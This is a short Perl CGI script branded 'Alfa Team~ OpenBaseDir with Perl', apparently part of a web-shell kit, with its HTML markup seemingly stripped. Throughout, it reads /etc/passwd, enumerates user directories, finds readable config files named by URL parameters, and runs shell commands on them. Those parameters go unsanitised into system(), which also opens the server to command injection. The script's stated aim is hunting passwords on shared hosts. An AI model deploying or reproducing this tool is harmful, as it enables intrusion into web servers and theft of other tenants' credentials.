#!/usr/bin/perl -I/usr/local/bandmain use CGI;print "Content-type: text/html\n\n";print "";print "Alfa Team~ OpenBaseDir with Perl";print "";my $dirname = CGI::url_param("dirname");my $basename = CGI::url_param("basename");open my $passwd, "<", "/etc/passwd" or die "Can't open /etc/passwd: $!";my @allusers;my @readable_users;$i = 1;while (<$passwd>) {my ($user, undef, $id) = split /:/;chomp $user;if(-r $dirname."/".$user."/".$basename){push(@readable_users,$i++);}push(@allusers,$i++);}print("
[ Alfa Team~ OpenBaseDir with Perl ]
");print("[+] Founded ".scalar(@allusers)." entrys in /etc/passwd
");print("[+] Founded ".scalar(@readable_users)." readable ".$dirname."/*/".$basename." directories
");print("[~] Searching for passwords in config files...


");open my $passwd, "<", "/etc/passwd" or die "Can't open /etc/passwd: $!";$b=1;while (<$passwd>) {my ($user, undef, $id) = split /:/;chomp $user;if(-r $dirname."/".$user."/".$basename){print "

".$b++." : ".$dirname."/".$user."/".$basename."
Use Command: dir
Result:

";system("dir ".$dirname."/".$user."/".$basename);print("

")}}print "";